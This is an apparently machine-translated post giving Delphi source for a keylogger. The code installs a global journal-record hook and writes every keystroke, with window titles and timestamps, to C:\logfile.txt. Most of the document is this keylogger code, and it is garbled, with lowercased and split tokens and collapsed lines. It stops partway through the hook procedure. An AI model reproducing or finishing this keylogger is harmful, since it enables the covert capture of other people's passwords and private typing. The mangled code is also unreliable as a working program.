The Delphi unit stores the keyboard keys in the stack linear queue. You can view the key content on the software interface and save the key information in the text file c: \ logfiles.txt, for later viewing...
Install the global hook function keyloghook: = setwindowshookex (wh_journalrecord, keylogproc, hinstance, 0); uninstall the hook function as unhookwindowshookex (keyloghook );
It seems a problem during use. When the software is started on itself, it will make lingoes unable to start normally, prompting the memory access error or something. Sometimes the hook will become invalid and the keyboard buttons cannot be intercepted, maybe it's better to use DLL...
Unit unthook;
Interfaceuses windows, messages, classes, sysutils, dialogs, variants; const _ keypressmask = $80000000; enter = #13 #10; var keyloghook: hhook = 0; hlastfocus: hwnd = 0; prvchar: Char; hooklist: tstringlist; hookkey: string; hnexthookproc: hhook; // logtxt: textfile; sfilename: String = 'C: \ logfile.txt '; function keylogproc (ncode: integer; wparam, lparam: longint): lresult; stdcall; export; function enablehotkeyhook: bool; stdcall; export; implementationuses untmain; function keylogproc (ncode: integer; wparam, lparam: longint ): lresult; stdcall; {const sfilename = 'C: \ logfile.txt ';} var stream: textfile; Ch: Char; vkey: integer; hfocus: hwnd; Title: array [0 .. 255] of char; STR: array [0 .. 12] of char; stmp, stime: string; tflogfile: textfile; pevt: ^ eventmsg; ncapital, nnumlock, nshift: integer; isshift, iscapital, isnumlock: Boolean; begin sfilename: = frmmain. editlogpositon. text; // assignfile (logtxt, trim (frmmain. editlogpositon. text); If ncode <0 then begin result: = callnexthookex (keyloghook, ncode, wparam, lparam); exit; end; If (ncode = hc_action) then begin pevt: = pointer (DWORD (lparam); assignfile (stream, sfilename); if not fileexists (sfilename) Then rewrite (Stream) else append (Stream); hfocus: = getactivewindow; if hlastfocus <> hfocus then begin if hookkey <> ''then begin hooklist. add (hookkey); // append (logtxt); writeln (stream, hookkey); hookkey: = ''; end; hooklist. add ('------ end ------'); writeln (stream, '------------ end -----------'); hooklist. add ('------ begin ------'); writeln (stream, '------------ start -----------'); // close (logtxt); getwindowtext (hfocus, title, 256); hlastfocus: = hfocus; stime: = datetimetostr (now); hooklist. add (stime + format ('title: % s', [title]); writeln (stream, stime + format ('title: % s', [title]); end; If pevt. message = wm_keydown then begin vkey: = lobyte (pevt. paraml); nshift: = getkeystate ($10); ncapital: = getkeystate ($14); nnumlock: = getkeystate ($90); isshift: = (nshift and _ keypressmask) = _ keypressmask); iscapital: = (ncapital and 1) = 1); isnumlock: = (nnumlock and 1) = 1); If (vkey> = 48) and (vkey <= 57) then begin CH: = char (vkey); End